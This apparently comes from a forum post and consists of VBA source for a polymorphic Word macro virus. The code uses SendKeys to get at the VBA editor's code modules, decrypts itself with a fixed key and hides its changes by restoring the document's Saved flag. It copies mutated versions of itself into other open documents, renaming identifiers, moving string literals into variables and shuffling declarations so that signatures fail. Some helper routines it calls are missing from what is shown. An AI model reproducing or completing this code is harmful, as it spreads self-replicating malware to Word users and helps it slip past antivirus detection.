15,440
社区成员
发帖
与我相关
我的任务
分享
Option Explicit
Public Sub HeadEntrance()
Dim bbbb
On Error Resume Next
Dim cm As Object
Set cm = Application.VBE.ActiveCodePane.CodeModule
If Err.Number <> 0 Then
Err.Clear
SendKeys "%(tmstv)~", True
Set cm = Application.VBE.ActiveCodePane.CodeModule
End If
On Error GoTo 0
Dim code As String
code = cm.Lines(1, cm.CountOfLines)
Const key As String = "Ploymorphism"
Decrypt code, key
Dim sav As Boolean
sav = ThisDocument.Saved
'Write head and body plain code
Application.Run "BodyEntrance"
'Delete head and body plain code
If sav Then
ThisDocument.Saved = True
End If
End Sub
Private Sub Decrypt(code As String, key As String)
Dim kn As Long
kn = Len(key)
Dim karr() As Integer
ReDim karr(1 To kn)
Dim idx As Long
For idx = 1 To kn
karr(idx) = Asc(Mid$(key, idx, 1))
Next
Dim ascv As Integer
For idx = 1 To Len(code)
ascv = Asc(Mid$(code, idx, 1))
If ascv >= 32 And ascv <= 126 Then
Mid$(code, idx, 1) = Chr$((ascv - 63 + karr((idx - 1) Mod kn + 1)) Mod 95 + 32)
End If
Next
End Sub
Private Sub BodyEntrance()
Dim cmdst As Object
If Not ActiveDocument Is ThisDocument Then
Set cmdst = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule
Else
Dim doc As Document
For Each doc In Application.Documents
If Not doc Is ThisDocument Then
Set cmdst = doc.VBProject.VBComponents("ThisDocument").CodeModule
Exit For
End If
Next
End If
If cmdst Is Nothing Then
Exit Sub
End If
'Permutate head code
Dim cmsrc As Object
Set cmsrc = Application.VBE.ActiveCodePane.CodeModule
Dim b As Long, e As Long
b = cmsrc.ProcBodyLine("HeadEntrance", 0)
e = cmsrc.ProcBodyLine("BodyEntrance", 0)
Dim code As String
code = cmsrc.Lines(b, e - b)
'code = cmsrc.Lines(1, cmsrc.CountOfLines) 'Test all code
Dim codearr() As String
codearr = Split(code, vbNewLine)
Randomize
Permutator_ReplaceName codearr
Expander_ReplaceLiteral codearr
Permutator_ShuffleDeclaration codearr
Permutator_ShuffleProc codearr
Permutator_AbbreviateType codearr
Permutator_UniteDeclaration codearr
'Write head permutated code
code = Join(codearr, vbNewLine)
cmdst.InsertLines cmsrc.CountOfLines + 1, vbNewLine & code
'Encrypt body code
'Write body crypt code
End Sub
Private Sub Permutator_ReplaceName(sarr() As String)
ReDim oldname(0 To 0) As String
Dim n As Long
n = 0
Dim sline As String
Dim b As Long, e As Long
Dim i As Long
For i = 0 To UBound(sarr)
sline = LTrim$(sarr(i))
If sline Like "* Sub *" Or sline Like "* Function *" Then
ReDim Preserve oldname(0 To n)
b = InStr(1, sline, " ") + 1
b = InStr(b, sline, " ") + 1
e = InStr(b, sline, "(") - 1
oldname(n) = Mid$(sline, b, e - b + 1)
n = n + 1
ElseIf sline Like "Dim *" Or sline Like "Const *" Then
ReDim Preserve oldname(0 To n)
b = InStr(1, sline, " ") + 1
e = InStr(b, sline, " ") - 1
If e < b Then
e = Len(sline)
End If
oldname(n) = Mid$(sline, b, e - b + 1)
e = InStr(1, oldname(n), "(")
If e > 1 Then
oldname(n) = Mid$(oldname(n), 1, e - 1)
End If
n = n + 1
End If
Next
Dim newname As String
Dim j As Long
For i = 0 To UBound(oldname)
newname = GenerateName(8)
For j = 0 To UBound(sarr)
sarr(j) = Replace$(sarr(j), oldname(i), newname, Compare:=vbBinaryCompare)
Next
Next
End Sub
Private Sub Expander_ReplaceLiteral(sarr() As String)
Dim newline As String
Dim i As Long
For i = 0 To UBound(sarr)
If InStr(1, sarr(i), "Const ") = 0 And InStr(1, sarr(i), "On Error GoTo ") = 0 Then
newline = ""
ReplaceLiteral_ProcessLine sarr(i), 1, 0, newline
sarr(i) = newline
End If
Next
newline = Join(sarr, vbNewLine)
sarr = Split(newline, vbNewLine)
End Sub
Private Function ReplaceLiteral_ProcessLine(oldline As String, b As Long, eov As Integer, newline As String) As Long
Dim v As Integer
Dim i As Long
For i = b To Len(oldline)
v = Asc(Mid$(oldline, i, 1))
If eov = 34 Then
If v = 34 Then
ProcessLine_ReplaceString oldline, b - 1, i, newline
ReplaceLiteral_ProcessLine = i + 1
Exit Function
End If
ElseIf v = eov Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
newline = newline & Chr$(v)
ReplaceLiteral_ProcessLine = i + 1
Exit Function
ElseIf v = 40 Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
newline = newline & Chr$(v)
b = ReplaceLiteral_ProcessLine(oldline, i + 1, 41, newline)
i = b - 1
ElseIf v = 34 Then
ProcessLine_ReplaceNumber oldline, b, i - 1, newline
b = ReplaceLiteral_ProcessLine(oldline, i + 1, 34, newline)
i = b - 1
End If
Next
ProcessLine_ReplaceNumber oldline, b, Len(oldline), newline
End Function
Private Sub ProcessLine_ReplaceString(oldline As String, b As Long, e As Long, newline As String)
Dim ind As String
Dim newname As String
If e >= b Then
ind = Space(Len(oldline) - Len(LTrim$(oldline)))
newname = GenerateName(8)
newline = ind & "Dim " & newname & " As String" & vbNewLine & ind & newname & " = " & Mid$(oldline, b, e - b + 1) & vbNewLine & newline & newname
End If
End Sub